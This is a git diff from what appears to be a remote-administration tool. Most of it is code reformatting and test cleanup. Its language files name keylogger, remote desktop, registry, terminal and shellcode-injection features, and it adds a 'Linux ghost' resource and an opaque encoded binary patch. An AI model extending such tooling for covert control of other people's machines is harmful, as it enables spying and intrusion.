cli_->stop(); } +inline void Client::stop() +{ + cli_->stop(); +} -inline std::string Client::host() const { return cli_->host(); } +inline std::string Client::host() const +{ + return cli_->host(); +} -inline int Client::port() const { return cli_->port(); } +inline int Client::port() const +{ + return cli_->port(); +} -inline size_t Client::is_socket_open() const { return cli_->is_socket_open(); } +inline size_t Client::is_socket_open() const +{ + return cli_->is_socket_open(); +} -inline socket_t Client::socket() const { return cli_->socket(); } +inline socket_t Client::socket() const +{ + return cli_->socket(); +} inline void -Client::set_hostname_addr_map(std::map addr_map) { - cli_->set_hostname_addr_map(std::move(addr_map)); +Client::set_hostname_addr_map(std::map addr_map) +{ + cli_->set_hostname_addr_map(std::move(addr_map)); } -inline void Client::set_default_headers(Headers headers) { - cli_->set_default_headers(std::move(headers)); +inline void Client::set_default_headers(Headers headers) +{ + cli_->set_default_headers(std::move(headers)); } inline void Client::set_header_writer( - std::function const &writer) { - cli_->set_header_writer(writer); + std::function const &writer) +{ + cli_->set_header_writer(writer); } -inline void Client::set_address_family(int family) { - cli_->set_address_family(family); +inline void Client::set_address_family(int family) +{ + cli_->set_address_family(family); } -inline void Client::set_tcp_nodelay(bool on) { cli_->set_tcp_nodelay(on); } - -inline void Client::set_socket_options(SocketOptions socket_options) { - cli_->set_socket_options(std::move(socket_options)); +inline void Client::set_tcp_nodelay(bool on) +{ + cli_->set_tcp_nodelay(on); } -inline void Client::set_connection_timeout(time_t sec, time_t usec) { - cli_->set_connection_timeout(sec, usec); +inline void Client::set_socket_options(SocketOptions socket_options) +{ + cli_->set_socket_options(std::move(socket_options)); } -inline void Client::set_read_timeout(time_t sec, time_t usec) { - cli_->set_read_timeout(sec, usec); +inline void Client::set_connection_timeout(time_t sec, time_t usec) +{ + cli_->set_connection_timeout(sec, usec); } -inline void Client::set_write_timeout(time_t sec, time_t usec) { - cli_->set_write_timeout(sec, usec); +inline void Client::set_read_timeout(time_t sec, time_t usec) +{ + cli_->set_read_timeout(sec, usec); +} + +inline void Client::set_write_timeout(time_t sec, time_t usec) +{ + cli_->set_write_timeout(sec, usec); } inline void Client::set_basic_auth(const std::string &username, - const std::string &password) { - cli_->set_basic_auth(username, password); + const std::string &password) +{ + cli_->set_basic_auth(username, password); } -inline void Client::set_bearer_token_auth(const std::string &token) { - cli_->set_bearer_token_auth(token); +inline void Client::set_bearer_token_auth(const std::string &token) +{ + cli_->set_bearer_token_auth(token); } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT inline void Client::set_digest_auth(const std::string &username, - const std::string &password) { - cli_->set_digest_auth(username, password); + const std::string &password) +{ + cli_->set_digest_auth(username, password); } #endif -inline void Client::set_keep_alive(bool on) { cli_->set_keep_alive(on); } -inline void Client::set_follow_location(bool on) { - cli_->set_follow_location(on); +inline void Client::set_keep_alive(bool on) +{ + cli_->set_keep_alive(on); +} +inline void Client::set_follow_location(bool on) +{ + cli_->set_follow_location(on); } -inline void Client::set_url_encode(bool on) { cli_->set_url_encode(on); } - -inline void Client::set_compress(bool on) { cli_->set_compress(on); } - -inline void Client::set_decompress(bool on) { cli_->set_decompress(on); } - -inline void Client::set_interface(const std::string &intf) { - cli_->set_interface(intf); +inline void Client::set_url_encode(bool on) +{ + cli_->set_url_encode(on); } -inline void Client::set_proxy(const std::string &host, int port) { - cli_->set_proxy(host, port); +inline void Client::set_compress(bool on) +{ + cli_->set_compress(on); +} + +inline void Client::set_decompress(bool on) +{ + cli_->set_decompress(on); +} + +inline void Client::set_interface(const std::string &intf) +{ + cli_->set_interface(intf); +} + +inline void Client::set_proxy(const std::string &host, int port) +{ + cli_->set_proxy(host, port); } inline void Client::set_proxy_basic_auth(const std::string &username, - const std::string &password) { - cli_->set_proxy_basic_auth(username, password); + const std::string &password) +{ + cli_->set_proxy_basic_auth(username, password); } -inline void Client::set_proxy_bearer_token_auth(const std::string &token) { - cli_->set_proxy_bearer_token_auth(token); +inline void Client::set_proxy_bearer_token_auth(const std::string &token) +{ + cli_->set_proxy_bearer_token_auth(token); } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT inline void Client::set_proxy_digest_auth(const std::string &username, - const std::string &password) { - cli_->set_proxy_digest_auth(username, password); + const std::string &password) +{ + cli_->set_proxy_digest_auth(username, password); } #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT -inline void Client::enable_server_certificate_verification(bool enabled) { - cli_->enable_server_certificate_verification(enabled); +inline void Client::enable_server_certificate_verification(bool enabled) +{ + cli_->enable_server_certificate_verification(enabled); } #endif -inline void Client::set_logger(Logger logger) { - cli_->set_logger(std::move(logger)); +inline void Client::set_logger(Logger logger) +{ + cli_->set_logger(std::move(logger)); } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT inline void Client::set_ca_cert_path(const std::string &ca_cert_file_path, - const std::string &ca_cert_dir_path) { - cli_->set_ca_cert_path(ca_cert_file_path, ca_cert_dir_path); + const std::string &ca_cert_dir_path) +{ + cli_->set_ca_cert_path(ca_cert_file_path, ca_cert_dir_path); } -inline void Client::set_ca_cert_store(X509_STORE *ca_cert_store) { - if (is_ssl_) { - static_cast(*cli_).set_ca_cert_store(ca_cert_store); - } else { - cli_->set_ca_cert_store(ca_cert_store); - } +inline void Client::set_ca_cert_store(X509_STORE *ca_cert_store) +{ + if (is_ssl_) { + static_cast(*cli_).set_ca_cert_store(ca_cert_store); + } else { + cli_->set_ca_cert_store(ca_cert_store); + } } -inline void Client::load_ca_cert_store(const char *ca_cert, std::size_t size) { - set_ca_cert_store(cli_->create_ca_cert_store(ca_cert, size)); +inline void Client::load_ca_cert_store(const char *ca_cert, std::size_t size) +{ + set_ca_cert_store(cli_->create_ca_cert_store(ca_cert, size)); } -inline long Client::get_openssl_verify_result() const { - if (is_ssl_) { - return static_cast(*cli_).get_openssl_verify_result(); - } - return -1; // NOTE: -1 doesn't match any of X509_V_ERR_??? +inline long Client::get_openssl_verify_result() const +{ + if (is_ssl_) { + return static_cast(*cli_).get_openssl_verify_result(); + } + return -1; // NOTE: -1 doesn't match any of X509_V_ERR_??? } -inline SSL_CTX *Client::ssl_context() const { - if (is_ssl_) { return static_cast(*cli_).ssl_context(); } - return nullptr; +inline SSL_CTX *Client::ssl_context() const +{ + if (is_ssl_) { + return static_cast(*cli_).ssl_context(); + } + return nullptr; } #endif diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 8160434..f96fe22 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -915,8 +915,8 @@ NtCreateThreadEx(shellcodeע %s - ̼¼=%s - Keylogger %s - ע=%s - Registry Manager %s - Զ %d%d=%s - Remote Desktop %d%d -%s - Զ %d%d | %.1f MB/s=%s - Remote Desktop %d%d | %.1f MB/s -%s - Զ %d%d | %.0f KB/s=%s - Remote Desktop %d%d | %.1f KB/s +%s - Զ %d%d | %u FPS | %.1f MB/s=%s - Remote Desktop %d%d | %u FPS | %.1f MB/s +%s - Զ %d%d | %u FPS | %.0f KB/s=%s - Remote Desktop %d%d | %u FPS | %.1f KB/s %s - =%s - Proxy Service %s - =%s - Service Manager %s - Զն=%s - Terminal diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 15f5866..ec2b3f8 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -912,8 +912,8 @@ NtCreateThreadEx(shellcodeע %s - ̼¼=%s - IPӛ %s - ע=%s - 䛾݋ʽ %s - Զ %d%d=%s - h %d%d -%s - Զ %d%d | %.1f MB/s=%s - h %d%d | %.1f MB/s -%s - Զ %d%d | %.0f KB/s=%s - h %d%d | %.1f KB/s +%s - Զ %d%d | %u FPS | %.1f MB/s=%s - h %d%d | %u FPS | %.1f MB/s +%s - Զ %d%d | %u FPS | %.0f KB/s=%s - h %d%d | %u FPS | %.1f KB/s %s - =%s - %s - =%s - չ %s - Զն=%s - h˽K˙C diff --git a/server/2015Remote/proxy/ProxyMapDlg.cpp b/server/2015Remote/proxy/ProxyMapDlg.cpp index b21ba1e..3bbf837 100644 --- a/server/2015Remote/proxy/ProxyMapDlg.cpp +++ b/server/2015Remote/proxy/ProxyMapDlg.cpp @@ -52,33 +52,33 @@ BOOL CProxyMapDlg::OnInitDialog() CString str; // 开启IPCP服务器 - srand((unsigned int)time(NULL)); + srand((unsigned int)time(NULL)); - m_nPort = 5543; // 初始尝试端口 - BOOL bSuccess = FALSE; - const int nMaxRetries = 10; + m_nPort = 5543; // 初始尝试端口 + BOOL bSuccess = FALSE; + const int nMaxRetries = 10; - for (int i = 0; i < nMaxRetries; ++i) { - if (m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) { - bSuccess = TRUE; - break; - } + for (int i = 0; i < nMaxRetries; ++i) { + if (m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) { + bSuccess = TRUE; + break; + } - // 端口冲突,生成 10000-65535 之间的随机端口 - // 提示:10000 + (0 到 55535) - int nextPort = 10000 + (rand() % 55536); + // 端口冲突,生成 10000-65535 之间的随机端口 + // 提示:10000 + (0 到 55535) + int nextPort = 10000 + (rand() % 55536); - // 避免随机到和刚才一样的端口 - while (nextPort == m_nPort) { - nextPort = 10000 + (rand() % 55536); - } - m_nPort = nextPort; - } + // 避免随机到和刚才一样的端口 + while (nextPort == m_nPort) { + nextPort = 10000 + (rand() % 55536); + } + m_nPort = nextPort; + } - if (!bSuccess) { - MessageBoxL("初始化代理服务器失败!", "提示", MB_ICONINFORMATION); - return FALSE; - } + if (!bSuccess) { + MessageBoxL("初始化代理服务器失败!", "提示", MB_ICONINFORMATION); + return FALSE; + } TCHAR ip[256] = {}; int len = sizeof(ip); diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 2562056..02858c6 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -200,6 +200,8 @@ #define IDD_DIALOG_CLIENTLIST 324 #define IDD_DIALOG7 326 #define IDD_DIALOG_UPDATE 326 +#define IDR_BINARY6 328 +#define IDR_LINUX_GHOST 328 #define IDC_MESSAGE 1000 #define IDC_ONLINE 1001 #define IDC_STATIC_TIPS 1002 @@ -663,10 +665,10 @@ #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects -// +// #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 328 +#define _APS_NEXT_RESOURCE_VALUE 329 #define _APS_NEXT_COMMAND_VALUE 33017 #define _APS_NEXT_CONTROL_VALUE 2240 #define _APS_NEXT_SYMED_VALUE 105 diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp index 95748a4..4bb258c 100644 --- a/server/2015Remote/sys/MachineDlg.cpp +++ b/server/2015Remote/sys/MachineDlg.cpp @@ -1690,7 +1690,7 @@ CString CMachineDlg::oleTime2Str(double time) struct tm tm1; localtime_s(&tm1, &t); str.FormatL(_T("%04d-%02d-%02d %02d:%02d:%02d"), tm1.tm_year + 1900, tm1.tm_mon + 1, - tm1.tm_mday, tm1.tm_hour, tm1.tm_min, tm1.tm_sec); + tm1.tm_mday, tm1.tm_hour, tm1.tm_min, tm1.tm_sec); } return str; } diff --git a/test/IniParser_test.cpp b/test/IniParser_test.cpp index a64af6f..06706eb 100644 --- a/test/IniParser_test.cpp +++ b/test/IniParser_test.cpp @@ -54,10 +54,10 @@ void Test_BasicKeyValue() { printf("[Test 1] Basic key=value parsing\n"); std::string path = WriteTempFile("basic", - "[Strings]\n" - "hello=world\n" - "foo=bar\n" - ); + "[Strings]\n" + "hello=world\n" + "foo=bar\n" + ); CIniParser ini; TEST_ASSERT(ini.LoadFile(path.c_str()), "LoadFile should succeed"); @@ -77,11 +77,11 @@ void Test_KeyTrailingSpace() // 模拟: "请输入主机备注: =Enter host note:" // key 是 "请输入主机备注: "(冒号+空格),不能被 trim std::string path = WriteTempFile("trailing_space", - "[Strings]\n" - "key_no_space=value1\n" - "key_with_space =value2\n" - "key_with_2spaces =value3\n" - ); + "[Strings]\n" + "key_no_space=value1\n" + "key_with_space =value2\n" + "key_with_2spaces =value3\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -107,12 +107,12 @@ void Test_SpecialCharsInValue() { printf("[Test 3] Special characters in value\n"); std::string path = WriteTempFile("special_chars", - "[Strings]\n" - "menu=Menu(&F)\n" - "addr=\n" - "fmt=%s connected %d times\n" - "paren=(auto-restore on expiry)\n" - ); + "[Strings]\n" + "menu=Menu(&F)\n" + "addr=\n" + "fmt=%s connected %d times\n" + "paren=(auto-restore on expiry)\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -132,15 +132,15 @@ void Test_Comments() { printf("[Test 4] Comment lines skipped\n"); std::string path = WriteTempFile("comments", - "; This is a comment\n" - "# This is also a comment\n" - "[Strings]\n" - "; ============================================\n" - "# Section header comment\n" - "key1=value1\n" - "; key2=should_not_exist\n" - "key3=value3\n" - ); + "; This is a comment\n" + "# This is also a comment\n" + "[Strings]\n" + "; ============================================\n" + "# Section header comment\n" + "key1=value1\n" + "; key2=should_not_exist\n" + "key3=value3\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -161,16 +161,16 @@ void Test_EmptyLines() { printf("[Test 5] Empty lines skipped\n"); std::string path = WriteTempFile("empty_lines", - "\n" - "\n" - "[Strings]\n" - "\n" - "key1=value1\n" - "\n" - "\n" - "key2=value2\n" - "\n" - ); + "\n" + "\n" + "[Strings]\n" + "\n" + "key1=value1\n" + "\n" + "\n" + "key2=value2\n" + "\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -189,15 +189,15 @@ void Test_MultipleSections() { printf("[Test 6] Multiple sections\n"); std::string path = WriteTempFile("sections", - "[Strings]\n" - "key1=value1\n" - "key2=value2\n" - "[Other]\n" - "key1=other_value1\n" - "key3=other_value3\n" - "[Strings2]\n" - "keyA=valueA\n" - ); + "[Strings]\n" + "key1=value1\n" + "key2=value2\n" + "[Other]\n" + "key1=other_value1\n" + "key3=other_value3\n" + "[Strings2]\n" + "keyA=valueA\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -311,11 +311,11 @@ void Test_EqualsInValue() { printf("[Test 10] Equals sign in value\n"); std::string path = WriteTempFile("equals", - "[Strings]\n" - "formula=a=b+c\n" - "equation=x=1=2=3\n" - "normal=hello\n" - ); + "[Strings]\n" + "formula=a=b+c\n" + "equation=x=1=2=3\n" + "normal=hello\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -339,11 +339,11 @@ void Test_EscapeCRLF_InKey() // INI 文件中写字面量 \r\n,解析器应转为真正的 0x0D 0x0A // 模拟代码中: _TR("\n编译日期: ") 和 _TR("操作失败\r\n请重试") std::string path = WriteTempFile("escape_key", - "[Strings]\n" - "\\n compile date: =\\n Build Date: \n" - "fail\\r\\nretry=Fail\\r\\nRetry\n" - "line1\\nline2\\nline3=L1\\nL2\\nL3\n" - ); + "[Strings]\n" + "\\n compile date: =\\n Build Date: \n" + "fail\\r\\nretry=Fail\\r\\nRetry\n" + "line1\\nline2\\nline3=L1\\nL2\\nL3\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -370,10 +370,10 @@ void Test_EscapeCRLF_InValue() { printf("[Test 12] Escape \\r\\n in value\n"); std::string path = WriteTempFile("escape_value", - "[Strings]\n" - "msg=hello\\r\\nworld\n" - "multiline=line1\\nline2\\nline3\n" - ); + "[Strings]\n" + "msg=hello\\r\\nworld\n" + "multiline=line1\\nline2\\nline3\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -393,11 +393,11 @@ void Test_EscapeBackslashAndQuote() { printf("[Test 13] Escape \\\\ and \\\" sequences\n"); std::string path = WriteTempFile("escape_bsq", - "[Strings]\n" - "path=C:\\\\Users\\\\test\n" - "quoted=say \\\"hello\\\"\n" - "mixed=\\\"line1\\n line2\\\"\n" - ); + "[Strings]\n" + "path=C:\\\\Users\\\\test\n" + "quoted=say \\\"hello\\\"\n" + "mixed=\\\"line1\\n line2\\\"\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -419,10 +419,10 @@ void Test_EscapeTab() { printf("[Test 14] Escape \\t sequence\n"); std::string path = WriteTempFile("escape_tab", - "[Strings]\n" - "col=name\\tvalue\n" - "header=ID\\tName\\tStatus\n" - ); + "[Strings]\n" + "col=name\\tvalue\n" + "header=ID\\tName\\tStatus\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -442,10 +442,10 @@ void Test_UnknownEscapePassthrough() { printf("[Test 15] Unknown escape passthrough\n"); std::string path = WriteTempFile("escape_unknown", - "[Strings]\n" - "unknown=hello\\xworld\n" - "trailing_bs=end\\\n" - ); + "[Strings]\n" + "unknown=hello\\xworld\n" + "trailing_bs=end\\\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -468,9 +468,9 @@ void Test_EscapeWithTrailingSpace() printf("[Test 16] Escape + trailing space in key\n"); // 模拟: _TR("\n编译日期: ") — key 以 \n 开头,以冒号+空格结尾 std::string path = WriteTempFile("escape_trail", - "[Strings]\n" - "\\n date: =\\n Date: \n" - ); + "[Strings]\n" + "\\n date: =\\n Date: \n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -494,12 +494,12 @@ void Test_BracketKey() printf("[Test 17] Key starting with '[' (not a section header)\n"); // 模拟: _TR("[使用FRP]") 和 _TR("[未使用FRP]") std::string path = WriteTempFile("bracket_key", - "[Strings]\n" - "normal=value1\n" - "[tag1]=[Tag One]\n" - "[tag2]=[Tag Two]\n" - "after=value2\n" - ); + "[Strings]\n" + "normal=value1\n" + "[tag1]=[Tag One]\n" + "[tag2]=[Tag Two]\n" + "after=value2\n" + ); CIniParser ini; ini.LoadFile(path.c_str());

  • L}fzA)d6HItpJbsi3bWwo2OY%$G-%Vv8}Yf8b>YjNBi>-w%aP3A}jI( z?PGh16WoXBAwuNbRLr?MK%C%O_WjWwyf7GPU1M|IXCn5#(#_RN;1(YkY%N2}bVs1t zo*1`Q_Coza`@6cE;tvc7^;O%E2k;2eN^QI6Y!)qPDA7D-;updXELg3n9;i=E6?{x< zB#h@lM+VmshE}GBGJ z%z*&vMAg*SD2eidfH6lsE2E@aNb)=gMoR8TF1}4)gC+8o*F_~&_8Oer1hiO*WA|G3 zpRJ0WnL)qHv9eBU;ftJot)*=GI|IafmCf+SP2H$k>@9XDZj8&D-;#&rW_K`Q*_))C zvkxJKj)v$LHk#Z7wHoG7i@7G6PZNr{@-u$p&M!+IrLvgrNFsHPb1&X`(8Q#VI$q#< z#pwK-$nq+@W4*l;U7 zliREf+;3@svtP=4ZU>(-v-!ae_NV3|--w|$G<^%?_HC%Oct5I_Y~Q>9!pBm-fVYhY zZr0R++;xqW>;LKDtx=KtO6uty7Ml%=sWF`V`y`-?`|jbkMS?RS2SwSD(Ig)ylcd)^ z@3q{2RW{rzFgU7Yq{CS1!>IE|B1DAH4C{+0&(>JueC7)-%BCpe%4Y9^TpOg_S~eKl z`oCXJ#kzE|AHS=esX$+>D<%3h&P425Xf(piG{;PCz88%zodD|ZeJU*nC7hum+m zx4>g#wHL>)6c!Vw8s}A8szM!HeyPBRVQ4KR8p?B5B9W1sdct=j{^I&;(jJhh^@q4WZ%-kFzzFmCKT)Ff*x;+ zSZcgmY>e6yIY}O?;T9N;AGX_d@I}r4bu+cEE3Py;+Y{Ork&RwB5r*ugO(jlN0>Q7jgvo zf}n%3-Jo_s8mIhVA-06hWg8R2NCyQaeqT}#JOtjh=6hzlL?3=4sN54cwqKvmCRtLb z7M;I5QN)Z`OQ+~cPIZ1|a{Q0DJ2NF&^fOtpjEgwILiQu!22*l)@I1h0q);(HUbH~q zY!H(Sw%c*V)oz9E^KO7SgC4nen9j4~Mo&vlesu0=osq_HCppe$QsDdT(auywV5b%? zr8tt#ppEl~Tnn%ZA}H zbf_dw%$K!v4v9NLy%A^BXQa&R+$VaTuX!#M$OZb)&T0mgW z6Kmz=ZP?smH^R3xTqRnektcgFj+QlwY@%``+pyCp_PZ1l%FPOlTv6{CpHScH%7H2XTKK3)vhQJwDXy zr5rad&ev#{7B`)V%}b!^`hZMdnyx3t!pwrE>+u$I`VIFC%S(>_wN~Pr#xUWax&3Of$7HAiS0aV^U z*jm)DF*@Hy!qgcH?Jqq@D^&NMSwjXkxwO1#@+GWp0MF!g`}}qF+)++oYof*E5|nFp zJO+T87%&ZB1%_GpE2tF6M6N8rCect3Br_TO^ci;}U!rWj;=J0^G;#GuK5i{q4Agn^ z3yUK^i6(9ei5Yed%W$Z6uT_n&*TL0rWiE#HFVyC~ ztCNb2hqxVzQV@6}Rd)sy^2a@cc3Y9f4(_b^lT}wKNdKv8P5KEF$wtlAYg21v%l_@ z*3-d%CID#ZI@tT>`R9f0)l-^kf0Liy&xz)X65W@>;U7c*6~PeURT+BVWVfVlb<9~R zHzf)TYTON;$xO@TgSD(7{wQe?r(EG~{TFx$C>&B}a39?MjQ&KbyxOjO58_w1&V30T z1)Q2_gqeZSW(GWdm6`bZ-NSI3A{M9T97b7u{0y9HH4LX4*;&ATXuvFNW~w+&Zc@am zrt1d7mxkNa?>yq+RtLjtrwuV=1;z^ycB`Z@F~Dp!OyTrtD5f|0+_Vp6{mXY4aI)xrDH33*Aq|vH^aW}^k*0zofa_!fE0)eZ08px49{}A4V08`Q zJS3co9~*1&UY^))270%^X1nWo^mh9NV)?k^w272#v!>FJzI!&?g)Is#6qpH#O|RUhOINhWCKCc5-mP{ zJuqjFyALTy6xS;DneN3rLcTv1buRsCtwHkNiv|vSzJG@g64zsUumjtJuJk*$2RpDm z$h>2FumjtJ%saLRJFq>-yyx?d?Lp=p+k+k09(0KbZ=-Sl!dkP)|H#lLMazT*pe#@2{)TNFhdD^3 zwC=KCJrZ@M>zn{_`E^iczaz#ozb)DjTgnF^`d59AXw%8;4~XrI7qM(<}WEgIY; zcd;O%60SBI;Frc8D)17V%P>8Vzz`>{q*6>lEfk5GYZetx*k2zpKOzBp< zHvtD%Xz`N(QodVm`gugBk2@ohn58Z_r5Bvfla6b5x}%jh(Lc;u^l8yydu=JNyLvr& z(CsB<*6@IZ|yy;bH7OzCCO&(y=m)WOy|PNxllr@T!BPdomMh&Ti?;aT~#0 z$&a~TMjy=aMiEX8dw}p?@d3_uD`|)GTeqiB@p5zea37_>M?=GSpkcg$hFIDDfzaSg z48VhV;IKzbKoS{FvAbQ5_C~jb-{WcDAVwgpT-prbEBa^2wM6*V%@6r_$X*+1iY&{| z@Uw~LGZWpTGxTp=hW?#fx3bDv)I?n-_K*%M%h4R<(mx~O`imijh`BuCXCz&sePcxX zFbJ&M;MP-)-35653{C{p7(-f}*xvhg*t&gUz#2|8fecOro}+RY=}hEU-Dx#MG*}pG zX9`vH4W4^}*bD?y!9qC1>2{D~rM6F>0u}|@SQiK-MF=^T1E~EXN=v5=fYTl?Z2*{V z_0k4F=_)U60FXZJr44}5|M1cbh~Ce0B*`5CT|d2#?zpdzk|wyFde+fZ1b3pfxP^DQ zdqczsP1Q+U|Dd>wbdrP=57W=uMV7vZevfpQODhCeNAV&oTPipU<;~%((wxP)SJY%U zixcuzmwLR_)Q{$^HfMP&(?buwuBos){vmt~;I9mPwZdN=xwLL2{8bSWj0}IZLpsj? zC4cp6qaB-E;;sbPkPXOp=D(BX&W4JxyX%=dg9rr3Ge{GHp9J6U?$G>kBD1%GRo)k6 z6u0O;2pg38USTiVo_+55DqtURpEcUJ1MX^mJ-*-5ceQaOVae=D*xT}^d4tzh4$1TU z)atvv-#FAoVh^v}-?dBrz&&OUXJ+<+(q@>*%6weSo?X49^k7qD@!)E^c5$#NzSyTL zt#zrizuR2jxgLI3d?SuRQT+Y+aS@{&tTEQS6OY`^t=M4QQ_^QOnh2<(mFwa4ky4+e z{WN6mr+g7Mk+@GWIA4AqH$g@4ch_ND7l*&>DKq@@fOF{=ZW|`QC#P~CT;%Zzl1t;> z!)FyX>)B@$%(KrTm}j3oFwZ_~V4i)pU~{HBR>NIPma!(qeHE9F5R~mIKvlNilair| z>p+fyHXaGtTZa@^)b2#zcR9ij^Px9^gnyk=~ zN^OdlZK^3ohbE`{p>@dZkWp(97u-o~x40!e@a+sRM!UUIr7k*Q!!34~2URhq02@vwFti#roXOZtYoV|=~Z*kUcMKx(rK zMG8y*^?Ya41iZ!~XI)m27wvp2(sZF*(gb?V*}BQhGZTI}4;b&z+uDmXxv$Vu3G&~? z=3MhlJQvo}J{SwVt&fs}UYi$sMwpG+JY+Qtrh`?^s3kf~YyqsU@%w-o((HU^B0g5$ z4s~)UIxX6XP^%~E%*c-hUW_z-wcpI#c+$rb|oH@JAl- zJY;vJVM`NbEgb1ptf^@?#UC}rXL0kxteGI!n;+bBS&64%luajp!2Ij%CjbB-fNpwuNYL7$H)GC;Z62THuUGV>h*%9ORxHOG+k?ja8-8$^OQtz7y-^$GAZ zVCSDmfI))_?EUUvp>}D$Q0NfDB4Nb+n6}50XS#(@#{VDi`p;pm)3)Zq>#a`kd3D`~ zRo7*!07Tw+K)!T}$aSG-1QWWI@(OvYoQdEiZo^36LLa9UM7ws{E_h*ne#{xMB;v?N z(W^)+(B>EfbuV}1x>&2b^1)Qv0|A03%<+m@%TC3>@BIpA;zTSs@lcHi)XqH^`C-fl zh>fUnO6pDhv=k{Rpp|<{^26vzaOG#32$sY;-y+u&RD(fwm&pN8a8=Hf!-F?TwI%se zoQa>6Q8eOFLqX^sMkY=32#~N|C~MIOF(5+S?o~Wt@BD&9k(u$^ueh%&J)^%j*i2Kj zk10CJ6uB{0E&E+PUcy1_dKle+cxNMl#L!8OHzDyR5?=)Vl6>{b2lJcXvn4zK{-Gv4 z|J-(HXa2p7XXd{($gEatBKe)q4%j}$89xR;|9s8vz`Nel7K}N;<+f`rz0=QrCyO=l z32Pamw3{!>JMjb>{fb8SVMzQ$B<(nehL1t!Xy>hJU9?*l`PM__uqGqlll z-~rS7W1A-uj)hhU4q1l-nrGqxvvGCq+s*uUY5u<~@Xf3bor*7KUZ><^R%?j5BD&bE z?!!8z7``d~guWMG;o9@+5}ycCX{g{r{J)IAvr}vGR zo8+0W8Sbx;n9yH<8>0i5i!3vP;j95h_f@i_$4kCVlEM_2G-w1x*sbmg-XS*e(0Zv8 zd4lM;_p_yuKIL#Wn`N-lNpiZr%;9)FWJw>_@UeOcpiLc2Acs7iu}^hpDm^oQq8i+@ zfx=|TS0IJXhy`_DAgkfcup{TuWK$no%nKcMi|DOMcK<*c&3Z47nwO(yP;QEq$iTb! zb;S$ytX|^I!zFoe?a>8$^3ZHX6GbK9?w9NKkuV8rKfuyr+!UR_Fq|CK&kiv%$wiL# z3RmWxdt}?!PN*)KL&F0(NW0K&bJHFBCc8gX@&c{kx*3i7yiZH)cwO9SC>cW=l2bB% za)DX!Acy`bb=}M4ChOdC${0D61RClQ~0NepSz7spQdpx&8xk=Z6^8%Yn&s*bU4{6<&?q8I&#*j#r!{p|0ncJ zHS^;)F{d^r>1+Z<>r^(EZ^JO}%O74I-A3)C(u1Wkkn{xfqjl~|1Rn@kOEE}m?&|LB z3$!`Y5Y?gK@2tEhKw>v=ehC!9eqd<{9SeZZVK zJ)5dX@|R7MKuf9rJg~3dEoRL!@b0gn`vnrS=Sh$ZBG11Yky!drX&(jXf6M{_^drt6 z$4twaYm-)NGhTvA#tWt=0RH+Ud*Si=jXIv@T#;F3N+sl=&P^=^vHtTH2+$}XwicfO zCzC9Qz(S6*mUbB9D72;HNCk+toX>W`6t{S2hg}e6o=tGhiL}eEm`FPl)s6{HCHrx< z%OtD|CpksaO{}Psy^NDN^h|a}d_U0_v>FakfPCfTD|d?4D?XF)hfjqO@^*d}2ug`V6VWSb7_Ei#bEkeMO28Do&gf^Ql=g+;? z?=F_L&HtMoU*XgiWA+@ZQN-={!hsg7)oRNkpm+5;(ljp8bW+}}Rp<=ldjlEeM1NGa_{oJ(#-wt$h$HETU0f9BK=epy56_)hc#M3y&eTbaBFhg9pg&xoYg@}mAwl8f$b)VDb>oaW z=t3|D{On2MNuWGK=7t)YCEnV|3*xO_s4C*E-Yiwj)*p9H`P&zUQTo)_?1^?fu<`S{ z+gvUPpM!jB*90V9dPcsrYn=a#d}|j`j!Zi8tz9Gi=X{=v{b%G`yAW9)@H;H+*LUbR za&zMz(zu3155s2YDV~m@O_lRaB6c?it)(x;ox1nJL}TzGI;81#*<0RynONC@+E1gb z;bOjykDVM_B10B>IRKF>=X3p2gS53WAwu_^`gzDUX;ZJrw2i6zEPR>M0NY}~j%k5sB zM7@b}g$jD?#d^r_zvc>xS-RmSv`FsztLbug^N@xMdzYr7@ex&ZX7>C7qj{2e3NOk` z@(fNF|ISzZ4XhOp=k9?$$kKm5zAW~b= zmX!$efK+5~EVM>cwHlHW7tDnk+-0{vLoD|K6pO!Fbt z=ta5a(m-Jv>6znPImd?8g+A`f`I3ca|2s>@#>woO?Dv82u5NyJVE-^B9k?|G%2#-R zxLZIo_9OSttJcClk}F-Ow|`XU3HQ(4nf+sI5(n;|D{}VFhu4tVKPRfe>vjr2W~A0a z<5BHVx|f}g-2L(vUvl3+$w*DPPxHawKW6iMiTAkO?MDl*2Shln3~ISXbm7b^W>0)9 z9$4$s1#9WNG+E#=O%-@d69pdAG=ax7N#HR}5wtNbpux1NBed2DzN;pq_Az#;jL&oK zc;wPQ4qhKl(Z?xlp?%blb8fc|IH`^tBZ^*n5F=I$DC`ZXMY}}MaZJ4ne!5uXJZiV4 zdUXgid%RjOt3B@Uz#b1qLu}`=Y zU7zG(R>_D88(e&INic4|8$R?xn3H|=5<{HsHO;e07qPjsn-mKj{B5!4E4@80d)T1N 